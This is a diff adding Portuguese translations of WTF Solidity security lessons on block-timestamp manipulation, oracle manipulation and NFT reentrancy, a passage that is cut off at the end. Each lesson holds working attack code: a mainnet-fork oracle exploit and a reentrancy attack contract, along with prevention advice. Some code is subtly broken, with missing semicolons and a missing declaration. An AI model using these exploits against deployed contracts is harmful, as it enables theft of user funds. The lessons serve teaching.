código: + +1. Criar uma variável de contrato `nft` do tipo `TimeManipulation`. +2. Criar um endereço de carteira `alice`. +3. Usar o código de trapaça `vm.warp()` para definir o tempo de bloco como 169, o que não é divisível por 170 e resultará em falha na criação. +4. Usar o código de trapaça `vm.warp()` para definir o tempo de bloco como 17000, o que é divisível por 170 e resultará em sucesso na criação. + +Código: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Calcula o endereço para uma chave privada fornecida + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condição 1: block.timestamp % 170 != 0"); + // Define block.timestamp como 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Define o endereço do chamador das chamadas subsequentes como o endereço fornecido + // até que `stopPrank` seja chamado + vm.startPrank(alice); + console.log("Saldo de alice antes da criação: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("Saldo de alice após a criação: %s", nft.balanceOf(alice)); + + // Define block.timestamp como 17000 + console.log("Condição 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("Saldo de alice antes da criação: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("Saldo de alice após a criação: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} + +``` + +Após instalar o Foundry, execute o seguinte comando no terminal para iniciar um novo projeto e instalar a biblioteca OpenZeppelin: + +```shell +forge init TimeManipulation +cd TimeManipulation +forge install Openzeppelin/openzeppelin-contracts +``` + +Copie o código desta lição para as pastas `src` e `test`, respectivamente. Em seguida, execute o seguinte comando para iniciar os testes: + +```shell +forge test -vv --match-test testMint +``` + +A saída será a seguinte: + +```shell +Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest +[PASS] testMint() (gas: 94666) +Logs: + Condição 1: block.timestamp % 170 != 0 + block.timestamp: 169 + Saldo de alice antes da criação: 0 + Saldo de alice após a criação: 0 + Condição 2: block.timestamp % 170 == 0 + block.timestamp: 17000 + Saldo de alice antes da criação: 0 + Saldo de alice após a criação: 1 + +Test result: ok. 1 passed; 0 failed; finished in 7.64ms +``` + +Podemos ver que a criação é bem-sucedida quando o `block.timestamp` é alterado para 17000. + +## Conclusão + +Nesta lição, discutimos o ataque de manipulação do tempo de bloco em contratos inteligentes e o reproduzimos usando o Foundry. Antes do Merge, os mineradores de Ethereum podiam manipular o tempo de bloco, o que poderia ser explorado se um contrato de loteria dependesse do timestamp do bloco. Após o Merge, o Ethereum fixou o tempo de bloco em 12 segundos e os nós de validação não podem mais manipular o tempo de bloco. Portanto, esse tipo de ataque não ocorrerá no Ethereum, mas ainda pode ser encontrado em outras blockchains. + diff --git a/Languages/pt-br/S14_TimeManipulation/src/TimeManipulation.sol b/Languages/pt-br/S14_TimeManipulation/src/TimeManipulation.sol new file mode 100644 index 000000000..9e6670991 --- /dev/null +++ b/Languages/pt-br/S14_TimeManipulation/src/TimeManipulation.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; +import "openzeppelin-contracts/token/ERC721/ERC721.sol"; + +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Construtor, inicializa o nome e o código da coleção NFT + constructor() ERC721("", ""){} + + // Função de fundição: só é possível criar uma nova unidade quando o tempo do bloco é divisível por 7. + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} \ No newline at end of file diff --git a/Languages/pt-br/S14_TimeManipulation/test/TimeManipulation.t.sol b/Languages/pt-br/S14_TimeManipulation/test/TimeManipulation.t.sol new file mode 100644 index 000000000..03d34735e --- /dev/null +++ b/Languages/pt-br/S14_TimeManipulation/test/TimeManipulation.t.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Calcula o endereço para uma chave privada fornecida + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // teste de forja -vv --match-test testMint + function testMint() public { + console.log("Condição 1: block.timestamp % 170 != 0") + // Defina block.timestamp como 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp) + // Define o endereço do remetente para todas as chamadas subsequentes como o endereço de entrada + // até que `stopPrank` seja chamado + vm.startPrank(alice); + console.log("saldo de Alice antes da criação: %s", nft.balanceOf(alice)) + nft.luckyMint(); + console.log("saldo de Alice após a criação: %s", nft.balanceOf(alice)) + + // Defina block.timestamp como 17000 + console.log("Condição 2: block.timestamp % 170 == 0") + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp) + console.log("saldo de Alice antes da criação: %s", nft.balanceOf(alice)) + nft.luckyMint(); + console.log("saldo de Alice após a criação: %s", nft.balanceOf(alice)) + vm.stopPrank(); + } +} diff --git a/Languages/pt-br/S15_OracleManipulation/img/S15-1.png b/Languages/pt-br/S15_OracleManipulation/img/S15-1.png new file mode 100644 index 000000000..fca502c4f Binary files /dev/null and b/Languages/pt-br/S15_OracleManipulation/img/S15-1.png differ diff --git a/Languages/pt-br/S15_OracleManipulation/readme.md b/Languages/pt-br/S15_OracleManipulation/readme.md new file mode 100644 index 000000000..eb45fa6d7 --- /dev/null +++ b/Languages/pt-br/S15_OracleManipulation/readme.md @@ -0,0 +1,229 @@ +# Segurança de Contratos Inteligentes: S15. Manipulando Oráculos + +Recentemente, tenho revisado meus conhecimentos de Solidity para consolidar os detalhes e escrever um "Guia Simplificado de Solidity" para iniciantes (os especialistas em programação podem encontrar tutoriais mais avançados). Atualizo o guia com 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos abordar o ataque de manipulação de oráculos em contratos inteligentes e reproduzir um exemplo de ataque: trocar 1 ETH por 17 trilhões de moedas estáveis. Apenas em 2022, os ataques de manipulação de oráculos causaram perdas superiores a 200 milhões de dólares em ativos de usuários. + +## Oráculos de Preço + +Por questões de segurança, a Máquina Virtual Ethereum (EVM) é um ambiente isolado e fechado. Os contratos inteligentes em execução na EVM podem acessar informações da blockchain, mas não podem se comunicar ativamente com fontes externas para obter informações fora da cadeia. No entanto, essas informações são essenciais para aplicativos descentralizados. + +Os oráculos podem nos ajudar a resolver esse problema, obtendo informações de fontes externas e adicionando-as à blockchain para que os contratos inteligentes possam utilizá-las. + +Um dos tipos mais comuns de oráculos é o oráculo de preço, que pode se referir a qualquer fonte de dados que permita consultar o preço de uma moeda. Alguns casos de uso típicos incluem: +- Plataformas de empréstimo descentralizado (AAVE) usam oráculos para determinar se um mutuário atingiu o limite de liquidação. +- Plataformas de ativos sintéticos (Synthetix) usam oráculos para determinar o preço mais recente do ativo e suportar transações sem deslize de preço. +- O MakerDAO usa oráculos para determinar o preço da garantia e emitir a moeda estável $DAI correspondente. + +## Vulnerabilidades de Oráculos + +Se um oráculo não for usado corretamente pelos desenvolvedores, pode representar um grande risco de segurança. + +- Em outubro de 2021, a plataforma DeFi Cream Finance na blockchain BNB foi [hackeada e perdeu 130 milhões de dólares de fundos de usuários](https://rekt.news/cream-rekt-2/) devido a uma vulnerabilidade no oráculo. +- Em maio de 2022, a plataforma de ativos sintéticos Mirror Protocol na blockchain Terra foi [hackeada e perdeu 115 milhões de dólares de fundos de usuários](https://rekt.news/mirror-rekt/) devido a uma vulnerabilidade no oráculo. +- Em outubro de 2022, a plataforma de empréstimo descentralizado Mango Markets na blockchain Solana foi [hackeada e perdeu 115 milhões de dólares em fundos de usuários](https://rekt.news/mango-markets-rekt/) devido a uma vulnerabilidade no oráculo. + +## Exemplo de Vulnerabilidade + +Aqui está um exemplo de uma vulnerabilidade em um contrato chamado `oUSD`. Este contrato é uma moeda estável que segue o padrão ERC20. Assim como a plataforma de ativos sintéticos Synthetix, os usuários podem trocar ETH por oUSD sem qualquer deslize de preço, com base no preço instantâneo do par WETH-BUSD no Uniswap V2. No exemplo de ataque a seguir, veremos como esse oráculo pode ser facilmente manipulado usando empréstimos rápidos e grandes quantias de fundos. + +### Contrato Vulnerável + +O contrato `oUSD` possui `7` variáveis de estado para armazenar os endereços de contratos BUSD, WETH, da fábrica UniswapV2 e do par de moedas WETH-BUSD. + +O contrato `oUSD` possui principalmente `3` funções: +- Construtor: Inicializa o nome e o símbolo do token ERC20. +- `getPrice()`: Oráculo de preço, obtém o preço instantâneo do par WETH-BUSD no Uniswap V2, onde reside a vulnerabilidade. + ``` + // Obter preço do ETH + function getPrice() public view returns (uint256 price) { + // Reservas no par de moedas + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Preço instantâneo do ETH + price = reserve0/reserve1; + } + ``` +- `swap()`: Função de troca, converte ETH em oUSD com base no preço fornecido pelo oráculo. + +Contrato: + +```solidity +contract oUSD is ERC20 { + // Contratos principais + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Obter preço do ETH + function getPrice() public view returns (uint256 price) { + // Reservas no par de moedas + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Preço instantâneo do ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Obter preço + uint price = getPrice(); + // Calcular quantidade a ser trocada + amount = price * msg.value; + // Emitir tokens + _mint(msg.sender, amount); + } +} +``` + +### Estratégia de Ataque + +Vamos atacar a função `getPrice()` vulnerável do contrato `oUSD` com a seguinte estratégia em 4 etapas: + +1. Preparar uma quantia de BUSD, seja com fundos próprios ou emprestados por meio de empréstimos rápidos. Neste caso, usaremos o cheat code `deal` do Foundry para criar `1_000_000 BUSD` em uma rede de teste local. +2. Comprar uma grande quantidade de WETH com BUSD no par WETH-BUSD do UniswapV2. Isso será feito para desequilibrar a proporção dos tokens no par, levando a um aumento significativo no preço do WETH. Veja a função `swapBUSDtoWETH()` no código de ataque. +3. Com o preço do WETH aumentado de forma manipulada no par do UniswapV2, chamamos a função `swap()` para trocar 1 ETH por uma grande quantidade de oUSD. +4. **Opcional:** Vender o WETH comprado na etapa 2 de volta para BUSD no par WETH-BUSD do UniswapV2 para recuperar o capital inicial. + +Essas etapas podem ser realizadas em uma única transação. + +### Reprodução com o Foundry + +Optamos por usar o Foundry para reproduzir o ataque de manipulação do oráculo, pois é rápido e permite criar forks locais da mainnet para facilitar os testes. Se você não está familiarizado com o Foundry, pode ler [WTF Solidity Ferramentas T07: Foundry](../Topics/Tools/TOOL07_Foundry/readme_pt-br.md). + +1. Após instalar o Foundry, execute os comandos abaixo no terminal para iniciar um novo projeto e instalar a biblioteca OpenZeppelin. + ```shell + forge init Oracle + cd Oracle + forge install Openzeppelin/openzeppelin-contracts + ``` + +2. Crie um arquivo de variáveis de ambiente `.env` na raiz do projeto e adicione o RPC da mainnet para criar uma rede de teste local. + + ``` + MAINNET_RPC_URL= https://rpc.ankr.com/eth + ``` + +3. Copie o código desta lição, `Oracle.sol` e `Oracle.t.sol`, para as pastas `src` e `test` na raiz do projeto, respectivamente. Em seguida, execute o seguinte comando para iniciar o script de ataque. + + ``` + forge test -vv --match-test testOracleAttack + ``` + +4. Você poderá ver os resultados do ataque no terminal. Antes do ataque, o preço do ETH dado pelo oráculo `getPrice()` era de `1216 USD`, o que era normal. Após comprar `1,000,000` BUSD do UniswapV2 para WETH, o preço do ETH fornecido pelo oráculo foi manipulado para `17,979,841,782,699 USD`. Com isso, conseguimos trocar facilmente 1 ETH por 17 trilhões de oUSD e concluir o ataque. + ```shell + Running 1 test for test/Oracle.t.sol:OracleTest + [PASS] testOracleAttack() (gas: 356524) + Logs: + 1. ETH Price (before attack): 1216 + 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle + 3. ETH price (after attack): 17979841782699 + 4. Minted 1797984178269 oUSD with 1 ETH (after attack) + + Test result: ok. 1 passed; 0 failed; finished in 262.94ms + ``` + +Código do ataque: + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Fork de um bloco específico + vm.createSelectFork(MAINNET_RPC_URL,16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Ataque ao oráculo + // 0. Preço do ETH antes da manipulação + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Adquirir 1000000 BUSD para a própria conta + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Comprar BUSD para WETH e manipular o oráculo + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Preço do ETH após a manipulação + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Criar oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD por WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = quantidade de BUSD, amounts[1] = quantidade de WETH + return amounts[1]; + } +} +``` + +## Métodos de Prevenção + +O renomado especialista em segurança de blockchain `samczsun` resumiu métodos de prevenção para ataques de manipulação de oráculos em um [artigo](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle). Aqui estão algumas medidas: + +1. Não utilizar pools de liquidez de baixa qualidade como oráculos de preço. +2. Evitar usar preços spot/instantâneos como oráculos de preço; prefira usar preços ponderados no tempo, como o preço médio ponderado no tempo (TWAP). +3. Usar oráculos descentralizados. +4. Utilizar múltiplas fontes de dados e escolher as mais próximas da mediana de preços como oráculos, evitando situações extremas. +5. Ao usar métodos de consulta do oráculo, como `latestRoundData()`, certifique-se de verificar os resultados retornados para evitar o uso de dados obsoletos. +6. Ler atentamente a documentação e configurar adequadamente os parâmetros de uso de oráculos de terceiros. + +## Conclusão + +Nesta lição, discutimos o ataque de manipulação de oráculos e atacamos um contrato de moeda estável com falhas, trocando 1 ETH por 17 trilhões de oUSD. Esses ataques podem causar grandes perdas aos usuários e são uma ameaça significativa à segurança dos contratos inteligentes. + diff --git a/Languages/pt-br/S15_OracleManipulation/src/Oracle.sol b/Languages/pt-br/S15_OracleManipulation/src/Oracle.sol new file mode 100644 index 000000000..608671c41 --- /dev/null +++ b/Languages/pt-br/S15_OracleManipulation/src/Oracle.sol @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract oUSD is ERC20{ + // Contrato da Mainnet + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Obter preço do ETH + function getPrice() public view returns (uint256 price) { + // par de negociação de reservas em moeda + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Preço instantâneo do ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Obter preço + uint price = getPrice(); + // Calcular a quantidade de troca + amount = price * msg.value; + // Cunhando tokens + _mint(msg.sender, amount); + } +} + +interface IUniswapV2Factory { + function getPair(address tokenA, address tokenB) + external + view + returns (address pair); +} + +interface IUniswapV2Pair { + function swap( + uint256 amount0Out, + uint256 amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + + function token1() external view returns (address); + + function getReserves() + external + view + returns ( + uint112 reserve0, + uint112 reserve1, + uint32 blockTimestampLast + ); + + function price0CumulativeLast() external view returns (uint); + + function price1CumulativeLast() external view returns (uint); + + function totalSupply() external view returns (uint); + + function balanceOf(address owner) external view returns (uint); +} + +interface IUniswapV2Router { + // swap相关 + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + // Liquidez relacionada + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) + external + returns ( + uint amountA, + uint amountB, + uint liquidity + ); + + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + + function factory() external view returns (address); +} \ No newline at end of file diff --git a/Languages/pt-br/S15_OracleManipulation/test/Oracle.t.sol b/Languages/pt-br/S15_OracleManipulation/test/Oracle.t.sol new file mode 100644 index 000000000..896bc53a6 --- /dev/null +++ b/Languages/pt-br/S15_OracleManipulation/test/Oracle.t.sol @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // fork especifica um bloco + vm.createSelectFork(MAINNET_RPC_URL,16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Ataque ao oráculo + // 0. Preço antes de manipular o oráculo + uint256 priceBefore = ousd.getPrice(); + console.log("1. Preço do ETH (antes do ataque): %s", priceBefore) + // Dê 1000000 BUSD para a sua conta + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Compre WETH com BUSD para impulsionar o preço em alta. + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Troque 1.000.000 BUSD por WETH para manipular o oráculo") + // 3. Preços após a manipulação do oráculo + uint256 priceAfter = ousd.getPrice(); + console.log("3. Preço do ETH (após o ataque): %s", priceAfter) + // 4. Fundição de oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Cunhou %s oUSD com 1 ETH (após o ataque)", ousd.balanceOf(address(this))/10e18) + } + + // Trocar BUSD por WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = valor BUSD, amounts[1] = valor WETH + return amounts[1]; + } +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + +interface IBUSD is IERC20 { + function balanceOf(address account) external view returns (uint); +} + diff --git a/Languages/pt-br/S16_NFTReentrancy/NFTReentrancy.sol b/Languages/pt-br/S16_NFTReentrancy/NFTReentrancy.sol new file mode 100644 index 000000000..2370701fd --- /dev/null +++ b/Languages/pt-br/S16_NFTReentrancy/NFTReentrancy.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +// Por 0xAA +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// Contrato NFT com Vulnerabilidade de Reentrância +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Construtor, inicializa o nome e o código da coleção NFT + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Função de criação, cada usuário só pode criar 1 NFT + // Há uma vulnerabilidade de reentrada + function mint() payable external { + // Verificar se foi mintado antes + require(mintedAddress[msg.sender] == false); + // Aumentar o fornecimento total + totalSupply++; + // mint + _safeMint(msg.sender, totalSupply); + // Registre os endereços que foram mintados + mintedAddress[msg.sender] = true; + } +} + +contract Attack is IERC721Receiver{ + // Endereço do contrato Bank + + // Inicializando o endereço do contrato NFT + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Função de ataque, iniciando o ataque + function attack() external { + nft.mint(); + } + + // Função de retorno do ERC721, que chama repetidamente a função mint para criar 10 tokens. + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} diff --git a/Languages/pt-br/S16_NFTReentrancy/img/S16-1.png b/Languages/pt-br/S16_NFTReentrancy/img/S16-1.png new file mode 100644 index 000000000..045fbf5b6 Binary files /dev/null and b/Languages/pt-br/S16_NFTReentrancy/img/S16-1.png differ diff --git a/Languages/pt-br/S16_NFTReentrancy/img/S16-2.png b/Languages/pt-br/S16_NFTReentrancy/img/S16-2.png new file mode 100644 index 000000000..79abf69a3 Binary files /dev/null and b/Languages/pt-br/S16_NFTReentrancy/img/S16-2.png differ diff --git a/Languages/pt-br/S16_NFTReentrancy/readme.md b/Languages/pt-br/S16_NFTReentrancy/readme.md new file mode 100644 index 000000000..3d41952b1 --- /dev/null +++ b/Languages/pt-br/S16_NFTReentrancy/readme.md @@ -0,0 +1,109 @@ +# Segurança do Contrato Solidity: S16. Ataque de Reentrada em NFT + +Recentemente, tenho revisitado o aprendizado de Solidity para reforçar os detalhes e estou escrevendo um "Guia de Iniciação Rápida para Solidity" para iniciantes (os especialistas em programação podem procurar outros tutoriais). Será atualizado semanalmente com 1-3 palestras. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta palestra, vamos falar sobre a vulnerabilidade de ataque de reentrada em contratos NFT e atacar um contrato NFT com falhas para criar 10 NFTs. + +## Risco de Reentrada em NFT + +Já discutimos em [S01 Ataque de Reentrada](../S01_ReentrancyAttack/readme_pt-br.md) que o ataque de reentrada é um dos ataques mais comuns nos contratos inteligentes, onde um invasor, por meio de uma vulnerabilidade no contrato (como a função `fallback`), faz chamadas repetidas ao contrato para transferir ativos ou criar muitas tokens. Quando se trata de transferir NFTs, eles não acionam as funções `fallback` ou `receive` dos contratos. Por que ainda há risco de reentrada? + +Isso ocorre porque os padrões de NFT (ERC721/ERC1155) adicionaram uma verificação segura para garantir que os ativos de NFT não sejam acidentalmente enviados para um endereço inválido. Quando um NFT é transferido para um contrato, ele chama a função de verificação correspondente desse contrato, garantindo que esteja pronto para receber o ativo de NFT. Por exemplo, a função `safeTransferFrom()` do `ERC721` chama a função `onERC721Received()` do endereço de destino, o que pode ser explorado por um hacker para lançar um ataque. + +Aqui estão as funções do `ERC721` e `ERC1155` que têm potencial para risco de reentrada: + +![](./img/S16-1.png) + +## Exemplo de Vulnerabilidade + +Vamos analisar um exemplo de contrato NFT com vulnerabilidade de reentrada. Este contrato `ERC721` permite a cada endereço criar um NFT gratuitamente, mas um ataque de reentrada pode permitir a criação de vários NFTs de uma só vez. + +### Contrato com Vulnerabilidade + +O contrato `NFTReentrancy` herda o contrato `ERC721` e possui 2 variáveis de estado principais: `totalSupply`, que rastreia o total de NFTs criados, e `mintedAddress`, que armazena os endereços que já criaram NFTs para evitar múltiplas criações. Ele possui 2 funções principais: +- Construtor: Inicializa o nome e o símbolo da coleção de NFTs para o `ERC721`. +- `mint()`: Função de criação, onde cada usuário pode criar um NFT gratuitamente. **Atenção: esta função apresenta uma vulnerabilidade de reentrada!** + +```solidity +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + + // Construtor, inicializa o nome e símbolo da coleção NFT + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Função de criação de NFT, cada usuário só pode criar 1 NFT + // Tem vulnerabilidade de reentrada + function mint() payable external { + // Verifica se o endereço já criou um NFT + require(mintedAddress[msg.sender] == false); + // Incrementa o total de NFTs + totalSupply++; + // Cria o NFT + _safeMint(msg.sender, totalSupply); + // Registra o endereço que criou o NFT + mintedAddress[msg.sender] = true; + } +} +``` + +### Contrato de Ataque + +O contrato `Attack` herda o contrato `IERC721Receiver` e possui 1 variável de estado `nft` que armazena o endereço do contrato NFT com vulnerabilidade. Ele possui 3 funções: +- Construtor: Inicializa o endereço do contrato NFT com vulnerabilidade. +- `attack()`: Função de ataque, que chama a função `mint()` do contrato NFT para iniciar o ataque. +- `onERC721Received()`: Função de retorno de chamada do ERC721 com código malicioso incorporado, que chama repetidamente a função `mint()` e cria 10 NFTs. + +```solidity +contract Attack is IERC721Receiver{ + NFTReentrancy public nft; // Endereço do contrato NFT com vulnerabilidade + + // Inicializa o endereço do contrato NFT + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Função de ataque, inicia o ataque + function attack() external { + nft.mint(); + } + + // Função de retorno de chamada do ERC721, que chama a função mint repetidamente e cria 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} +``` + +## Replicação no Remix + +1. Implante o contrato `NFTReentrancy`. +2. Implante o contrato `Attack`, inserindo o endereço do contrato `NFTReentrancy` como parâmetro. +3. Chame a função `attack()` do contrato `Attack` para iniciar o ataque. +4. Chame a função `balanceOf()` do contrato `NFTReentrancy` para consultar a posse do contrato `Attack`. Você verá que ele possui 10 NFTs, com o ataque bem-sucedido. + +![](./img/S16-2.png) + +## Métodos de Prevenção + +Existem duas maneiras principais de prevenir ataques de reentrada: o modelo de Verificação-Impacto-Interação (checks-effect-interaction) e o uso de bloqueios de reentrada. + +1. Modelo de Verificação-Impacto-Interação: Este modelo enfatiza que ao escrever funções, deve-se primeiro verificar se as variáveis de estado estão de acordo com os requisitos, em seguida, atualizá-las (por exemplo, saldo), e por último interagir com outros contratos. Podemos corrigir a função `mint()` vulnerável usando este modelo. + +2. Bloqueio de Reentrada: É um modificador utilizado para evitar funções de reentrada. Recomendamos o uso do [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard), fornecido pela OpenZeppelin. + +## Conclusão + +Nesta palestra, abordamos a vulnerabilidade de ataques de reentrada em contratos NFT e realizamos um ataque bem-sucedido a um contrato NFT com falhas, criando 10 NFTs. Atualmente, existem duas maneiras principais de prevenir ataques de reentrada: o modelo de Verificação-Impacto-Interação e o uso de bloqueios de reentrada. + diff --git a/Languages/pt-br/Topics/ERC721/5_Loot/Loot.sol b/Languages/pt-br/Topics/ERC721/5_Loot/Loot.sol new file mode 100644 index 000000000..6f63dfbc6 --- /dev/null +++ b/Languages/pt-br/Topics/ERC721/5_Loot/Loot.sol @@ -0,0 